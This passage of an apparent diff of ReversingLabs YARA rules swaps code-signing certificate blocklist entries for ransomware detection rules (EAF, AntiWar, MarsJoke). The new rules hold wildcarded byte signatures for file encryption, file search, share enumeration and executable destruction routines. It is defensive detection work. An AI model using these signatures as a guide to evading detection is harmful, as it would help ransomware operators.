"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1762-L1778" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.EAF.yara#L1-L89" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d47d59d7680000d6c35181be2d9b034c2ecb7ca754a39c8e11750ddd7246b47c" + logic_hash = "3d10c852f95e8aa9bcd3543b96650b98ac57bcd2aa2b374e0badb63b5a4c0396" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "EAF" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_p1 = { + 00 03 28 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 39 ?? ?? ?? ?? 00 7E ?? + ?? ?? ?? 0C 03 28 ?? ?? ?? ?? 0D 03 28 ?? ?? ?? ?? 13 ?? 1E 8D ?? ?? ?? ?? 25 16 11 ?? + A2 25 17 72 ?? ?? ?? ?? A2 25 18 7E ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2 25 1A 28 ?? + ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 25 1C 09 A2 25 1D 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? + 13 ?? 02 03 11 ?? 08 28 ?? ?? ?? ?? 13 ?? 11 ?? 2D ?? 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? + 2B ?? 16 13 ?? 11 ?? 2C ?? 00 00 03 11 ?? 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ?? 00 + 00 00 DE ?? 26 00 00 DE ?? 2A + } + $encrypt_files_p2 = { + 00 03 19 73 ?? ?? ?? ?? 0A 00 04 18 73 ?? ?? ?? ?? 0B 00 06 16 6A 6F ?? ?? ?? ?? 00 28 + ?? ?? ?? ?? 0C 00 1F ?? 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 05 09 73 ?? + ?? ?? ?? 13 ?? 00 08 17 6F ?? ?? ?? ?? 00 08 18 6F ?? ?? ?? ?? 00 08 11 ?? 1F ?? 6F ?? + ?? ?? ?? 6F ?? ?? ?? ?? 00 08 11 ?? 1F ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 08 6F ?? + ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 00 20 ?? ?? ?? ?? 13 ?? 11 ?? 8D ?? ?? ?? ?? 13 ?? 16 + 13 ?? 00 06 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? FE 02 16 FE 01 13 + ?? 11 ?? 2C ?? 00 11 ?? 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 00 00 2B ?? 11 ?? 20 ?? ?? ?? ?? + 32 ?? 11 ?? 20 ?? ?? ?? ?? FE 02 16 FE 01 2B ?? 16 13 ?? 11 ?? 2C ?? 00 11 ?? 11 ?? 16 + 11 ?? 6F ?? ?? ?? ?? 00 00 2B ?? 11 ?? 20 ?? ?? ?? ?? 32 ?? 11 ?? 20 ?? ?? ?? ?? FE 02 + 16 FE 01 2B ?? 16 13 ?? 11 ?? 2C ?? 00 11 ?? 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 00 00 2B ?? + 00 07 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 11 ?? 58 13 ?? 00 11 ?? 16 FE 03 13 ?? + 11 ?? 3A ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? + 00 DC 00 DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 00 DE ?? 08 2C ?? 08 6F ?? ?? ?? + ?? 00 DC 07 6F ?? ?? ?? ?? 00 00 DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? 00 DC 06 6F ?? ?? ?? + ?? 00 00 DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? 00 DC 03 28 ?? ?? ?? ?? 00 17 13 ?? DE ?? 26 + 00 16 13 ?? DE ?? 11 ?? 2A + } + $find_files_p1 = { + 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 16 0C 38 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0D 00 09 06 08 9A + 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 08 9A 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 09 FE 06 ?? + ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 2C ?? 11 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 11 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? + ?? 2B ?? 16 13 ?? 11 ?? 2C ?? 00 7E ?? ?? ?? ?? 06 08 9A 6F ?? ?? ?? ?? 00 00 00 08 17 + 58 0C 08 06 8E 69 FE 04 13 ?? 11 ?? 3A ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 16 + 13 ?? 2B ?? 00 07 11 ?? 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 07 11 ?? 9A 72 ?? ?? ?? + ?? 28 ?? ?? ?? ?? 2C ?? 07 11 ?? 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 07 11 ?? 9A 72 + ?? ?? ?? ?? 28 ?? ?? ?? ?? 2B ?? 16 13 ?? 11 ?? 2C ?? 00 07 11 ?? 9A 28 ?? ?? ?? ?? 00 + 00 00 11 ?? 17 58 13 ?? 11 ?? 07 8E 69 FE 04 13 ?? 11 ?? 2D ?? 00 DE ?? 26 00 00 DE ?? + 2A + } + $find_files_p2 = { + 00 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 73 ?? ?? ?? ?? 0C 08 06 07 9A 7D ?? ?? ?? ?? 00 08 7B + ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 08 7B ?? ?? ?? ?? 6F ?? + ?? ?? ?? 2B ?? 16 0D 09 2C ?? 00 08 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 + ?? ?? ?? ?? 00 00 00 07 17 58 0B 07 06 8E 69 32 ?? 00 DE ?? 26 00 00 DE ?? 2A + } + $destroy_exe_file = { + 00 1F ?? 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 0B 7E ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 0C 7E ?? + ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 08 72 ?? ?? ?? ?? 1B 8D ?? + ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 06 A2 25 18 72 ?? ?? ?? ?? A2 25 19 28 ?? ?? ?? + ?? A2 25 1A 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00 00 + DE ?? 26 00 00 DE ?? 2A + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ghada Saffarini" and pe.signatures [ i ] . serial == "04:92:f5:c1:8e:26:fa:0c:d7:e1:50:67:67:4a:ff:1c" and 1445990399 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $destroy_exe_file ) } - -rule REVERSINGLABS_Cert_Blocklist_6Aa668Cd6A9De1Fdd476Ea8225326937 : INFO FILE +rule REVERSINGLABS_Win64_Ransomware_Antiwar : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects AntiWar ransomware." author = "ReversingLabs" - id = "bfff2210-8545-594d-8674-243e57e3dd09" - date = "2020-08-05" - modified = "2023-11-08" + id = "3113ec26-e149-527b-9478-4dd86c7fa464" + date = "2022-04-21" + modified = "2022-04-21" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1780-L1796" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.AntiWar.yara#L1-L146" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "706e16995af40a6c9176dcbca07fb406f2efe4d47dbd9629d1a6b1ab1d09b045" + logic_hash = "2d885f35454aaf7cb33f03c30b6681aa16cbe8353003bbae0b1e9fdecb2ff8a7" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "AntiWar" + tc_detection_factor = 5 importance = 25 + strings: + $find_files_p1 = { + 49 8B D7 49 8B CD FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? + 48 8D 95 ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? 4C 8B F0 48 89 44 24 ?? 48 83 F8 ?? + 0F 84 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? 41 8B DC 48 8D 3D ?? ?? ?? ?? 66 90 48 8B 0F + E8 ?? ?? ?? ?? 48 8B D0 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? + ?? FF C3 48 83 C7 ?? 83 FB ?? 72 ?? 49 8B D7 49 8B CD FF 15 ?? ?? ?? ?? 48 8D 15 ?? + ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? + F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 66 0F 6F 35 ?? ?? 03 00 66 0F 6F 3D ?? ?? 03 + 00 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 C7 85 ?? ?? 00 00 ?? ?? 8B 05 ?? ?? ?? ?? 4C 8D + 3C C5 ?? ?? ?? ?? 41 BC ?? ?? ?? ?? 65 48 8B 04 25 ?? ?? ?? ?? 4A 8B 0C 38 41 8B 04 + 0C 39 05 ?? ?? ?? ?? 7E ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? + 75 ?? C6 05 ?? ?? ?? ?? ?? 0F 11 35 ?? ?? ?? ?? 0F 11 3D ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 89 05 ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 66 89 05 ?? ?? 04 00 48 8D 0D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 74 ?? 45 33 + C9 41 BA ?? ?? ?? ?? 4C 8D 35 ?? ?? ?? ?? 4D 2B D6 49 BB ?? ?? ?? ?? ?? ?? ?? ?? 66 + 66 0F 1F 84 00 ?? ?? 00 00 4B 8D 14 31 41 0F B6 C9 80 E1 ?? C0 E1 ?? 49 8B C3 48 D3 + } + $find_files_p2 = { + E8 30 02 4C 8D 42 ?? 41 8D 0C 12 80 E1 ?? C0 E1 ?? 49 8B D3 48 D3 EA 41 30 10 49 83 + C1 ?? 49 83 F9 ?? 72 ?? 4C 8B 74 24 ?? C6 05 ?? ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 48 8B D0 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? + 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 E8 ?? 48 63 C8 78 ?? 0F 1F 40 ?? 66 83 BC + 4D ?? ?? 00 00 ?? 74 ?? FF C8 48 83 E9 ?? 79 ?? EB ?? B3 ?? 48 98 4C 8D B5 ?? ?? ?? + ?? 4D 8D 34 46 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? 45 33 ED 48 8B 0F E8 ?? ?? ?? ?? + 48 8B D0 49 8B CE FF 15 ?? ?? ?? ?? 0F B6 DB 85 C0 41 0F 44 DD 48 8D 7F ?? 48 83 EE + ?? 75 ?? 4C 8B 6C 24 ?? 4C 8B 74 24 ?? 84 DB 0F 84 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? + 45 33 C0 49 8B D5 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 FF + 90 89 BD ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? 33 D2 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 66 0F 1F 84 00 ?? ?? 00 00 83 3D ?? ?? ?? ?? ?? + 0F 84 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 85 C9 0F 84 ?? ?? ?? ?? 83 79 ?? ?? 0F 8C + ?? ?? ?? ?? 66 0F 6F 35 ?? ?? 03 00 66 0F 6F 3D ?? ?? 03 00 66 C7 85 ?? ?? 00 00 ?? + ?? 65 48 8B 04 25 ?? ?? ?? ?? 4A 8B 0C 38 41 8B 04 0C 39 05 ?? ?? ?? ?? 7E ?? 48 8D + 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? C6 05 ?? ?? ?? ?? ?? 0F 11 + 35 ?? ?? ?? ?? 0F 11 3D ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 66 89 05 ?? ?? 04 00 48 8D + } + $find_files_p3 = { + 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? + ?? 74 ?? 48 8B C7 41 BA ?? ?? ?? ?? 4C 8D 35 ?? ?? ?? ?? 4D 2B D6 49 BB ?? ?? ?? ?? + ?? ?? ?? ?? 90 4E 8D 0C 30 0F B6 C8 80 E1 ?? C0 E1 ?? 4D 8B C3 49 D3 E8 45 30 01 43 + 8D 0C 11 80 E1 ?? C0 E1 ?? 49 8B D3 48 D3 EA 41 30 51 ?? 48 83 C0 ?? 48 83 F8 ?? 72 + ?? 4C 8B 74 24 ?? C6 05 ?? ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? C7 44 24 + ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? 48 89 7D ?? 48 C7 45 ?? ?? ?? ?? ?? BA + ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? + ?? ?? ?? 48 89 85 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 48 C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? 66 89 BD ?? ?? 00 00 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ?? + 48 8D 4D ?? E8 ?? ?? ?? ?? 48 8B D6 48 85 DB 48 0F 45 D3 48 8D 4D ?? E8 ?? ?? ?? ?? + 48 8B 3D ?? ?? ?? ?? 48 8B 5F ?? 48 3B 5F ?? 74 ?? 0F 1F 84 00 ?? ?? ?? ?? 48 8B 0B + } + $find_files_p4 = { + 48 8B 01 48 8D 54 24 ?? FF 50 ?? 48 83 C3 ?? 48 3B 5F ?? 75 ?? 48 8D 05 ?? ?? ?? ?? + 48 89 44 24 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 83 FA ?? + 72 ?? 48 FF C2 48 8B 8D ?? ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? + 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 FF + 48 89 BD ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 40 88 BD ?? ?? ?? ?? 48 8D 4D + ?? E8 ?? ?? ?? ?? EB ?? 48 8B CB E8 ?? ?? ?? ?? 48 8B CB E8 ?? ?? ?? ?? 4C 8D 85 ?? + ?? ?? ?? 33 D2 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 85 ?? ?? ?? + ?? 45 33 C0 49 8B D5 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 + 33 E4 4C 8B 7C 24 ?? 48 8D 95 ?? ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? 85 C0 + } + $enum_shares = { + 48 83 EC ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 44 24 ?? 33 D2 C7 44 24 ?? ?? ?? ?? + ?? 48 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 4C 8B C9 48 89 44 24 ?? 8D 4A ?? 44 8D 42 + ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4C 24 ?? 48 89 7C 24 ?? E8 ?? ?? ?? ?? + 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 ?? 4C 8D 4C 24 ?? 4C 8B C0 48 8D 54 + 24 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 89 5C 24 ?? 33 DB 39 5C 24 ?? 76 ?? 0F 1F 84 00 + ?? ?? ?? ?? 48 8D 0C 5B 48 C1 E1 ?? 48 03 CF F6 41 ?? ?? 74 ?? E8 ?? ?? ?? ?? EB ?? + 48 8B 49 ?? E8 ?? ?? ?? ?? FF C3 3B 5C 24 ?? 72 ?? 48 8B 4C 24 ?? 4C 8D 4C 24 ?? 4C + 8B C7 48 8D 54 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 5C 24 ?? 48 8B CF E8 ?? ?? ?? + ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 8B 4C 24 ?? 48 33 CC E8 ?? ?? ?? + ?? 48 83 C4 ?? C3 + } + $encrypt_files_p1 = { + 48 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 45 33 C9 45 33 C0 BA + ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B F0 48 8B 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 49 83 FE ?? 0F 84 ?? ?? ?? ?? 41 BD ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 49 + 8B CE FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B F8 48 85 C0 0F 84 ?? ?? + ?? ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 80 + A5 ?? ?? ?? ?? ?? 0F B6 8D ?? ?? ?? ?? 80 E1 ?? 80 C9 ?? 88 8D ?? ?? ?? ?? 4C 8D 85 + ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ?? ?? + ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? + BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 45 8B C1 48 8D + 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? + ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? + ?? ?? ?? 33 D2 44 8D 42 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 44 8D 42 ?? 48 + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 44 8D 42 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 48 8B DE 45 33 C9 45 33 C0 48 8B D6 49 8B CE FF 15 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? + ?? 48 81 F9 ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 F7 E9 48 + } + $encrypt_files_p2 = { + 8B FA 48 C1 FF ?? 48 8B C7 48 C1 E8 ?? 48 03 F8 48 85 FF 0F 8E ?? ?? ?? ?? 48 89 74 + 24 ?? 4C 8D 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 49 8B D7 49 8B CE FF 15 ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? 89 44 24 ?? 4D 8B CF 4D 8B C7 48 8D 95 ?? ?? ?? ?? 33 C9 E8 ?? ?? ?? + ?? 45 33 C9 45 33 C0 48 8B D3 49 8B CE FF 15 ?? ?? ?? ?? 48 89 74 24 ?? 4C 8D 8D ?? + ?? ?? ?? 41 B8 ?? ?? ?? ?? 49 8B D7 49 8B CE FF 15 ?? ?? ?? ?? 48 81 C3 ?? ?? ?? ?? + 45 33 C9 45 33 C0 48 8B D3 49 8B CE FF 15 ?? ?? ?? ?? 48 83 EF ?? 0F 85 ?? ?? ?? ?? + E9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 83 78 ?? ?? 0F 8C ?? + ?? ?? ?? 41 8B C6 48 8D 1C C5 ?? ?? ?? ?? 65 48 8B 04 25 ?? ?? ?? ?? 48 8B 0C 18 8B + 04 0F 39 05 ?? ?? ?? ?? 7E ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? + ?? 75 ?? 66 C7 05 ?? ?? 05 00 ?? ?? C6 05 ?? ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 74 ?? 80 35 ?? ?? + ?? ?? ?? 80 35 ?? ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 65 48 8B 04 25 ?? ?? ?? ?? 48 8B + 0C 18 8B 04 0F 39 05 ?? ?? ?? ?? 7E ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? + ?? ?? ?? ?? 75 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BSCP LIMITED" and pe.signatures [ i ] . serial == "6a:a6:68:cd:6a:9d:e1:fd:d4:76:ea:82:25:32:69:37" and 1441583999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $enum_shares ) ) } - -rule REVERSINGLABS_Cert_Blocklist_1Cb06Dccb482255728671Ea12Ac41620 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Marsjoke : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects MarsJoke ransomware." author = "ReversingLabs" - id = "5a7f61a4-15ba-5f5c-89e1-b8b986e13f19" - date = "2020-08-05" - modified = "2023-11-08" + id = "8164c586-f548-5414-9df8-61e0c51cbe29" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1798-L1814" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.MarsJoke.yara#L1-L157" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e0867ffe2ddd28282fe78b27b3b12ebac525b33a27dd242bc6f55bcd2e066a18" + logic_hash = "298b2fd99793a15b3537853289e1337648d3fa84f12038e6f6831741404b7c5c" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "MarsJoke" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Fangzhen Li" and pe.signatures [ i ] . serial == "1c:b0:6d:cc:b4:82:25:57:28:67:1e:a1:2a:c4:16:20" and 1445126399 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_370C2467C41D6019Bbecd72E00C5D73D : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "18c5d1bb-21b8-5157-a03b-8bcbdc74c0cd" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1816-L1832" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2b99522b75ee83d85b30146cb292b5a8a46dc300fb43dd9d39d9ca96c9d32d9b" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $search_and_encrypt_files = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 8B 45 + ?? 53 56 89 44 24 ?? 8B 45 ?? 57 89 44 24 ?? 8B 45 ?? BE ?? ?? ?? ?? 33 DB 56 89 44 + 24 ?? 8D 84 24 ?? ?? ?? ?? 8B F9 53 50 89 7C 24 ?? 66 89 9C 24 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 83 C4 ?? 56 8D 84 24 ?? ?? ?? ?? 53 50 66 89 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 57 8D 4C 24 ?? 88 5C 24 ?? E8 ?? + ?? ?? ?? 83 C4 ?? 84 C0 0F 85 ?? ?? ?? ?? 38 5C 24 ?? 0F 85 ?? ?? ?? ?? 8D 84 24 ?? + ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 59 59 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 + 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 59 59 BE ?? ?? ?? + ?? 56 8D 84 24 ?? ?? ?? ?? 50 FF D7 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 56 FF + 74 24 ?? FF D7 FF 74 24 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 + ?? 84 C0 8D 84 24 ?? ?? ?? ?? 75 ?? 50 FF 15 ?? ?? ?? ?? FF 74 24 ?? E9 ?? ?? ?? ?? + 6A ?? 50 FF D7 53 68 ?? ?? ?? ?? 6A ?? 53 6A ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 89 44 24 ?? 75 ?? 56 8D 84 24 ?? ?? ?? ?? 50 FF D7 8D + 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E9 ?? ?? ?? ?? 8D 4C + 24 ?? 51 50 FF 15 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF 74 24 ?? FF 74 24 ?? E8 ?? ?? ?? + ?? 89 